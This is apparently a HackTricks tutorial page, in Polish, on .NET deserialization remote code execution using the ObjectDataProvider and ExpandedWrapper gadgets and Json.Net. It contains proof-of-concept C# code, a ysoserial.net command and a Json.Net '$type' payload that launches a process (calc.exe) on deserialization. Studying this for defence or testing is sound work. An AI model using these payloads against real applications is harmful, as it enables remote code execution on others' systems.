Podstawowa deserializacja .Net (gadget ObjectDataProvider, ExpandedWrapper i Json.Net)
Reading time: 5 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Ten post jest poświęcony zrozumieniu, jak gadget ObjectDataProvider jest wykorzystywany do uzyskania RCE oraz jak biblioteki serializacji Json.Net i xmlSerializer mogą być nadużywane z tym gadżetem.
Gadget ObjectDataProvider
Z dokumentacji: klasa ObjectDataProvider opakowuje i tworzy obiekt, który możesz użyć jako źródło powiązania.
Tak, to dziwne wyjaśnienie, więc zobaczmy, co ta klasa ma, co jest tak interesujące: Ta klasa pozwala na opakowanie dowolnego obiektu, użycie MethodParameters do ustawienia dowolnych parametrów i następnie użycie MethodName do wywołania dowolnej funkcji dowolnego obiektu zadeklarowanego przy użyciu dowolnych parametrów.
W związku z tym, dowolny obiekt będzie wykonywał funkcję z parametrami podczas deserializacji.
Jak to jest możliwe
Przestrzeń nazw System.Windows.Data, znajdująca się w PresentationFramework.dll w C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
, to miejsce, w którym zdefiniowano i zaimplementowano ObjectDataProvider.
Używając dnSpy możesz zbadać kod klasy, która nas interesuje. Na poniższym obrazku widzimy kod PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nazwa metody
Jak możesz zauważyć, gdy MethodName
jest ustawione, wywoływana jest base.Refresh()
, przyjrzyjmy się, co to robi:
Ok, kontynuujmy, przyglądając się, co robi this.BeginQuery()
. BeginQuery
jest nadpisywane przez ObjectDataProvider
i oto, co to robi:
Zauważ, że na końcu kodu wywoływana jest this.QueryWorke(null)
. Zobaczmy, co to wykonuje:
Zauważ, że to nie jest pełny kod funkcji QueryWorker
, ale pokazuje interesującą część: Kod wywołuje this.InvokeMethodOnInstance(out ex);
to jest linia, w której ustawiona jest metoda.
Jeśli chcesz sprawdzić, że wystarczy ustawić MethodName** to zostanie wykonane**, możesz uruchomić ten kod:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Zauważ, że musisz dodać jako odniesienie C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll, aby załadować System.Windows.Data
ExpandedWrapper
Korzystając z poprzedniego exploit, będą przypadki, w których obiekt będzie deserializowany jako instancja ObjectDataProvider (na przykład w podatności DotNetNuke, używając XmlSerializer, obiekt został deserializowany przy użyciu GetType
). Wtedy nie będziemy mieli wiedzy o typie obiektu, który jest opakowany w instancji ObjectDataProvider (na przykład Process
). Możesz znaleźć więcej informacji o podatności DotNetNuke tutaj.
Ta klasa pozwala określić typy obiektów obiektów, które są enkapsulowane w danej instancji. Tak więc, ta klasa może być używana do enkapsulowania obiektu źródłowego (ObjectDataProvider) w nowy typ obiektu i dostarczenia potrzebnych właściwości (ObjectDataProvider.MethodName i ObjectDataProvider.MethodParameters).
Jest to bardzo przydatne w przypadkach, jak ten przedstawiony wcześniej, ponieważ będziemy mogli opakować _ObjectDataProvider** wewnątrz instancji **ExpandedWrapper _ i po deserializacji ta klasa utworzy obiekt OjectDataProvider, który wykona funkcję wskazaną w MethodName.
Możesz sprawdzić ten wrapper za pomocą następującego kodu:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Na oficjalnej stronie wskazano, że ta biblioteka pozwala na serializację i deserializację dowolnego obiektu .NET za pomocą potężnego serializatora JSON Json.NET. Więc, jeśli moglibyśmy zdeserializować gadżet ObjectDataProvider, moglibyśmy spowodować RCE po prostu deserializując obiekt.
Przykład Json.Net
Przede wszystkim zobaczmy przykład, jak serializować/deserializować obiekt za pomocą tej biblioteki:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Wykorzystywanie Json.Net
Używając ysoserial.net stworzyłem exploit:
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
W tym kodzie możesz przetestować exploit, wystarczy go uruchomić, a zobaczysz, że kalkulator zostanie uruchomiony:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.